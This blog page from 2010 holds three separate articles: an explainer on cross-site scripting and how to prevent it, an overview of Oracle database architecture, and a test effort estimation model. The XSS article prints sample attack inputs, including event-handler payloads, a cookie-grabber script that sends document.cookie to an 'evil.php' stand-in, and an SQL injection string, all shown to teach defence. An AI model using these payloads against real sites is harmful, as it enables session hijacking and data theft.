Saturday, July 31, 2010

What is Cross-site Scripting (XSS) And How to prevent it.

                                                                                                                                 -Shibasish Nandi

Overview
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.

Description

Cross-Site Scripting (XSS) attacks occur when:
  1. Data enters a Web application through an untrusted source, most frequently a web request.
  2. The data is included in dynamic content that is sent to a web user without being validated for malicious code.
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Stored and Reflected XSS Attacks

XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well known type of XSS attack called DOM Based XSS which we are not discussing here.

Stored XSS Attacks

Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Ex: User1 stores some malicious content in DB. When User2 accesses application the malicious content stored by User1 gets executed and fools user2.

Reflected XSS Attacks

Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server.

XSS Attack Consequences

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochure ware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.

How to Determine If You Are Vulnerable

XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.
Examples of XSS
XSS attacks may be conducted without using <script></script> tags even. Other tags will do exacly the same thing, for example:
Onload <body onload=alert('test1')> or onmouseover 
<b onmouseover=alert('Wufff!')>click me!</b>
Or Onerror 
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
 

Example 1

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.
        <% String eid = request.getParameter("eid"); %> 
        ...
        Employee ID: <%= eid %>
The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.  

Example 2

Initially this might not appear to be much of vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.
 
        <%... 
         Statement stmt = conn.createStatement();
         ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
         if (rs != null) {
          rs.next(); 
          String name = rs.getString("name");
        %>
        
        Employee Name: <%= name %>
So in this case if an user has stored his name as
<body onload=alert('test1')> or
<b onmouseover=alert('Wufff!')>click me!</b> or
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);> or
<script> alert(‘test1’);</script>
Then another user who sees the information of user1 for him the code will get executed as html content and he will be fooled to see wrong information.
 
  • As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.
  • As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
  • A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

Some more attack Examples

Example 1 : Cookie Grabber
If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.

Error Page Example

Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error page. We may use the code below as an example to inform user about what specific page is missing:
<html>
<body>
 
<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
 
</body>
</html>
Let's see how it works:
http://testsite.test/file_which_not_exist
In response we get:
Not found: /file_which_not_exist
Now we will try to force the error page to include our code:
http://testsite.test/<script>alert("TEST");</script>
The result is:
Not found: / (but with JavaScript code <script>alert("TEST");</script>)
We have successfully injected the code, our XSS! What does it mean? For example, that we may use this flaw to try to steal a user's session cookie.
How to Protect Yourself
Traditionally, input validation has been the preferred approach for handling untrusted data. However, input validation is not a great solution for injection attacks. First, input validation is typically done when the data is received, before the destination is known. That means that we don't know which characters might be significant in the target interpreter. Second, and possibly even more importantly, applications must allow potentially harmful characters in. For example, should poor Mr. O'Malley be prevented from registering in the database simply because SQL considers ' a special character?
So we prefer technique called "Escaping". It is used to ensure that characters are treated as data, not as characters that are relevant to the interpreter's parser. A simple example of escaping will be replacing a single cote in a data entered  with two single cotes. As a sigle cote is considered as a special char in oracle parser adding one more cote tells the parser to consider the value as data not executable statement.
Ex:
Consider the select query although this comes under SQL Injection not XSS.
select * from users where user_name = '+userNamePassedByUser+'.
This query displays the data for the userName passed by the user. Now if the user sends the value as 'or 1=1||'  it displays all the records present in the users table which is a threat. So in this case before executing the query if the userNamePassedByuser is encoded(means replaced all single cotes with two) the problem resolves.
Similarly Escaping can be done with respect to other parsers like HTML parser.

XSS Prevention Rules
The following rules are intended to prevent all XSS in your application. While these rules do not allow absolute freedom in putting untrusted data into an HTML document, they should cover the vast majority of common use cases. You do not have to allow all the rules in your organization. Many organizations may find that allowing only Rule #1 and Rule #2 are sufficient for their needs.
RULE #0 - Never Insert Untrusted Data Except in Allowed Locations
The first rule is to deny all - don't put untrusted data into your HTML document unless it is within one of the slots defined in Rule #1 through Rule #5. The reason for Rule #0 is that there are so many strange contexts within HTML that the list of escaping rules gets very complicated. We can't think of any good reason to put untrusted data in these contexts
<script>...NEVER PUT UNTRUSTED DATA HERE...</script>  directly in a script
 
 <!--...NEVER PUT UNTRUSTED DATA HERE...-->           inside an HTML comment
 
 <div ...NEVER PUT UNTRUSTED DATA HERE...=test />     in an attribute name
 
 <...NEVER PUT UNTRUSTED DATA HERE... href="/test" /> in a tag name

RULE #1 - HTML Escape Before Inserting Untrusted Data into HTML Element Content
Rule #1 is for when you want to put untrusted data directly into the HTML body somewhere. This includes inside normal tags like div, p, b, td, etc. Most web frameworks have a method for HTML escaping for the characters detailed below. However, this is absolutely not sufficient for other HTML contexts. You need to implement the other rules detailed here as well.
<body>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</body>
 
<div>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</div>
 
or any other normal HTML elements

Escape the following characters with HTML entity encoding to prevent switching into any execution context, such as script, style, or event handlers. Using hex entities is recommended in the spec. In addition to the 5 characters significant in XML (&, <, >, ", '), the forward slash is included as it helps to end an HTML entity.
& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;     &apos; is not recommended
/ --> &#x2F;     forward slash is included as it helps end an HTML entity

See the ESAPI reference implementation of HTML entity escaping and unescaping.
String safe = ESAPI.encoder().encodeForHTML( request.getParameter("input") );

RULE #2 - Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes
Rule #2 is for putting untrusted data into typical attribute values like width, name, value, etc. This should not be used for complex attributes like href, src, style, or any of the event handlers like onmouseover. It is extremely important that event handler attributes should follow Rule #3 for HTML JavaScript Data Values.
<div attr=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...>content</div>     inside UNquoted attribute
 
 <div attr='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'>content</div>   inside single quoted attribute
 
 <div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">content</div>   inside double quoted attribute

Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the &#xHH; format (or a named entity if available) to prevent switching out of the attribute. The reason this rule is so broad is that developers frequently leave attributes unquoted. Properly quoted attributes can only be escaped with the corresponding quote. Unquoted attributes can be broken out of with many characters, including [space] % * + , - / ; < = > ^ and |.
See the ESAPI reference implementation of HTML entity escaping and unescaping.
String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) );

RULE #3 - JavaScript Escape Before Inserting Untrusted Data into HTML JavaScript Data Values
Rule #3 concerns the JavaScript event handlers that are specified on various HTML elements. The only safe place to put untrusted data into these event handlers as a quoted "data value." Including untrusted data inside any other code block is quite dangerous, as it is very easy to switch into an execution context, so use with caution.
<script>alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>     inside a quoted string

 <script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>            one side of a quoted expression

 <div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"</div>      inside quoted event handler
Except for alphanumeric characters, escape all characters less than 256 with the \xHH format to prevent switching out of the data value into the script context or into another attribute. Do not use any escaping shortcuts like \" because the quote character may be matched by the HTML attribute parser which runs first. If an event handler is quoted, breaking out requires the corresponding quote. The reason this rule is so broad is that developers frequently leave event handler attributes unquoted. Properly quoted attributes can only be escaped with the corresponding quote. Unquoted attributes can be broken out of with many characters including [space] % * + , - / ; < = > ^ and |. Also, a </script> closing tag will close a script block even though it is inside a quoted string because the HTML parser runs before the JavaScript parser.
See the ESAPI reference implementation of JavaScript escaping and unescaping.
String safe = ESAPI.encoder().encodeForJavaScript( request.getParameter( "input" ) );

RULE #4 - CSS Escape Before Inserting Untrusted Data into HTML Style Property Values
Rule #4 is for when you want to put untrusted data into a stylesheet or a style tag. CSS is surprisingly powerful, and can be used for numerous attacks. Therefore, it's important that you only use untrusted data in a property value and not into other places in style data. You should stay away from putting untrusted data into complex properties like url, behavior, and custom (-moz-binding). You should also not put untrusted data into IE’s expression property value which allows JavaScript
<style>selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; } </style>     property value

 <span style=property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...;>text</style>         property value
Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the \HH escaping format. Do not use any escaping shortcuts like \" because the quote character may be matched by the HTML attribute parser which runs first. Prevent switching out of the property value and into another property or attribute. Also prevent switching into an expression or other property value that allows scripting. If attribute is quoted, breaking out requires the corresponding quote. All attributes should be quoted. Unquoted attributes can be broken out of with many characters including [space] % * + , - / ; < = > ^ and |. Also, the </style> tag is also likely to close the style block even though it is inside a quoted string because the HTML parser runs before the JavaScript parser.
See the ESAPI reference implementation of CSS escaping and unescaping.
String safe = ESAPI.encoder().encodeForCSS( request.getParameter( "input" ) );

RULE #5 - URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values
Rule #5 is for when you want to put untrusted data into HTTP GET parameter value.
<a href="http://www.somesite.com?test=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >
Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the %HH escaping format. Including untrusted data in data: URLs should not be allowed as there is no good way to disable attacks with escaping to prevent switching out of the URL. All attributes should be quoted. Unquoted attributes can be broken out of with many characters including [space] % * + , - / ; < = > ^ and |. Note that entity encoding is useless in this context.
See the ESAPI reference implementation of URL escaping and unescaping.
String safe = ESAPI.encoder().encodeForURL( request.getParameter( "input" ) );
RULE #6 – Turn off HTTP TRACE support on all webservers
Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user's cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.

Oracle Database Basic Architecture

                                                                                                                                         -Srikanth Pulicherla
Basically, there are two main components of Oracle database, instance and database itself. An instance consists of some memory structures and the background processes, whereas a database refers to the disk resources. 




Instance
The memory structures and background processes constitute an instance. The memory structures are System Global Area (SGA), Program Global Area (PGA), and an optional area Software Area Code. In the other hand, the mandatory background processes are Database Writer (DBWn), Log Writer (LGWR), Checkpoint (CKPT), System Monitor (SMON), and Process Monitor (PMON).And another optional background processes are Archive (ARCn), Recovery (RECO),etc.


System Global Area
SGA is the primary memory structure. SGA comprises of Buffer Cache, Shared Pool, Redo Log Buffer, Large Pool, and Java Pool.

Buffer Cache
Buffer cache is used to stores the copies of data block that retrieved from datafiles. That is, when user retrieves data from database, the data will be stored in buffer cache. Its size can be manipulated via DB_CACHE_SIZE parameter in init.ora initialization parameter file.

Shared Pool
Shared pool is broken into library Cache and dictionary Cache. The library cache is used to stores information about the commonly used SQL and PL/SQL statements, and is managed by a Least Recently Used (LRU) algorithm. It is also enables the sharing those statements among users. In the other hand, dictionary cache is used to stores information about object definitions in the database, such as columns, tables, indexes, users, privileges, etc.

The shared pool size can be set via SHARED_POOL_SIZE parameter in init.ora initialization parameter file.

Redo Log Buffer
Each DML statement (insert, update, and delete) executed by users will generates the redo entry. What is a redo entry? It is information about all data changes made by users. That redo entry is stored in redo log buffer before it is written into the redo log files. To manipulate the size of redo log buffer, you can use the LOG_BUFFER parameter in init.ora initialization parameter file.

Large Pool
Large pool is an optional area of memory in the SGA. It is used to relieve the burden place on the shared pool. It is also used for I/O processes. The large pool size can be set by LARGE_POOL_SIZE parameter in init.ora initialization parameter file.

Java Pool

As its name, Java pool is used to services parsing of the Java commands. Its size can be set by JAVA_POOL_SIZE parameter in init.ora initialization parameter file.

Program Global Area
Although the result of SQL statement parsing is stored in library cache, the value of binding variable will be stored in PGA.Because it must be private or not shared among users. The PGA is also used for sort area.

Software Area Code
Software area code is a location in memory where the Oracle application software resides.

Oracle Background Processes
Oracle background processes is the processes behind the scene that work together with the memories.




DBWn
Database writer (DBWn) process is used to write data from buffer cache into the datafiles. Historically, the database writer is named DBWR. But since some of Oracle version allows us to have more than one database writer, the name is changed to DBWn, where n value is a number 0 to 9.

LGWR
Log writer (LGWR) process is similar to DBWn. It writes the redo entries from redo log buffer into the redo log files.

CKPT
Checkpoint (CKPT) is a process to trigger DBWn to writes data in the buffer cache into datafiles. It will also updates datafiles and control files header when log file switch occurs.

SMON
System Monitor (SMON) process is used to recover the system crash or instance failure by applying the entries in the redo log files to the datafiles.

PMON
Process Monitor (PMON) process is used to clean up work after failed processes by rolling back the transactions and releasing other resources.

Database
The database refers to disk resources, and is broken into two main structures, logical structures and physical structures.

Logical Structures
Oracle database is divided into smaller logical units to manage, store, and retrieve data efficiently. The logical units are tablespace, segment, extent, and data block.

Tablespace
A Tablespace is a logical storage unit. Every oracle database contains SYSTEM and SYSAUX tablespaces by default when database is created. These two are system tablespaces. Extra tablespaces will be tablespaces will be created for user data. Tablespace is composed by one or more datafiles.

Segment
A Tablespace is further broken into segments. A segment is used to stores same type of objects. That is, every table in the database will store into a specific segment (named Data Segment) and every index in the database will also store in its own segment (named Index Segment). The other segment types are Temporary Segment and Rollback Segment.

Extent
A segment is further broken into extents. An extent consists of one or more data block. When the database object is enlarged, an extent will be allocated. Unlike a tablespace or a segment, an extent cannot be named.

Data Block
A data block is the smallest unit of storage in the Oracle database. The data block size is a specific number of bytes within tablespace and it has the same number of bytes. Standard data block size is specified by DB_BLOCK_SIZE initialization parameter.


 
Physical Structures
The physical structures are structures of an Oracle database (in this case the disk files) that are not directly manipulated by users. The physical structure consists of datafiles, redo log files, control files, archive log files, parameter files, alert and trace log files and backup files.

Datafiles
Oracle database consists of one or more physical datafiles. Datafiles contains actual database data or logical structures such as tables, indexes.

Redo Log Files
Redo log files are the files that store the redo entries generated by DML statements. It can be used for recovery processes.

Control Files
Control files are used to store information about physical structure of database, such as datafiles size and location, redo log files location


 

Test Effort Estimation Model





                                                                                                                                     -Jagadees Byreddy


1          Introduction

Effective software project estimation is one of the most challenging and important activities in software project management. Proper project planning and control is not possible without a sound and reliable estimate. Under-estimating a testing project leads to under-staffing it (resulting in staff burnout), under-scoping the quality assurance effort (running the risk of low quality deliverables), and setting too short a schedule (resulting in loss of credibility as deadlines are missed).

Today’s e-business applications impose new challenges for software testing. Some of the commonly known challenges are complex application scenarios, extensive third party integration, crunched testing life cycles and increased security concerns. These factors inherently make testing of e-business application far more complex and critical than conventional software testing.

Traditionally, estimation of efforts for testing has been more of a ballpark percentage of the rest of the development life cycle phases. This approach to estimation is more prone to errors and carries a bigger risk of delaying the launch deadlines.

Test Effort Estimation Model is an approach for doing an accurate estimation of functional testing projects. This approach emphasizes on key testing factors that determine the complexity of the entire testing cycle and gives us a way of translating test creation efforts to test execution efforts, which is very useful for regression testing estimation. In other words the Test Effort Estimation Model is a way of representing the efforts involved in testing projects.




2          Test Effort Estimation Methodology

Given below is an overview of different phases involved in Test Effort Estimation Model for manual test execution. Each phase is explained in detail in subsequent sections.





2.1        Identify Test Procedures


Test Effort Estimation model starts with identification of all the high-level test procedures based on the application requirements. These procedures when put together would form the whole application under test (AUT). Lets take an example to see what we mean here by procedures. Consider www.yahoo.com is the AUT. Some of the modules for this AUT would be Community, Searching, Shopping, Business etc

The next step would be to list all the procedures that each module has.  In our previous example, consider Community as our module which would have procedures like Mail, Chat, Clubs etc.

2.2        Identify Test Cases in a Test Procedure


Next we would identify all Test Cases corresponding to each individual procedure. If Mail service is our feature than its corresponding Test Cases would be Composing, Replying, Move etc.

Here’s an outline of our previous example.

MODULE
PROCEDURE
TEST CASES
Community
Chat
Compose a new mail
Search
Mail
Reply to a  mail
Shopping
Clubs
Move to a folder



2.3        Classify Test Cases as Simple/Average/ Complex


Classify the identified test cases as being Simple, Average or Complex. The standard weights range from 0 to 3.

1-3 ----> Simple
4-7 ----> Average
>8 ----> Complex

Complexity Type
Complexity of Test Case
Interface with other Test case
Number of Verification Points
Baseline Test Data
Simple
< 2 transactions
0
>2
Not Required
Average
3-6 transactions
<3
3-8
Required
Complex
>8 transactions
>3
>8
Required

2.4        Identify factor and complexity weight for Test Creation parameters


In this stage, the factors that will affect the Test Creation/execution are identified. Typical factors which might be considered are listed below:


1.       Domain Complexity
2.       Integration with other Hardware devices such as Hand-held devices, Scanners, Printers
3.       Multi-lingual Support
4.       Configuration Management
5.       Preparation of Test Bed
6.       Stable Requirements
7.       Operating System Combinations
8.       Browser Combinations
The ‘Factor Weight’ is the importance of the factor to the application.
The ‘Complexity Weight’ is a measure of the factor’s impact on testing

For eg., for an insurance project, the factor weight for ‘domain complexity’ can be 2 but the complexity factor can be high, say 4 or 5, as the domain knowledge is critical for testing the application.

2.5        Calculate Adjustment factors for Test case generation and test execution


Give Adjustment Factors for the test case classifications.

Out of the factors identified in Section 4.4, identify which factors will affect Test Case generation and which will affect Test Case Execution. Include them in the appropriate sections in the spreadsheet.

The Adjustment factor for Test Case generation and Test Execution are calculated.

2.6        Calculate Person Hours for Test Case generation and Test Case execution


Based on the AUT, calculate the person hours required in generating the test cases.
For eg., a person might require an average of 0.3 person hours for a test case point (A Test Case Point is a test case + some adjustment factor).

Calculate the person hours required for executing each test case under the simple, average or complex classification. This should be calculated based on the number of iterations estimated for a test case.
For eg., a ‘simple’ test case might require 0.3 person hours (~20 mins) for being executed for 2 iterations, an ‘average’ test case might require 1 person hour for 2 iterations and a ‘complex’ test case might require 2 person hours for 2 iterations (depending on the application).

3          Effort Calculation


The effort is calculated in terms of Person Hours and Person Days based on the values specified in the spreadsheet.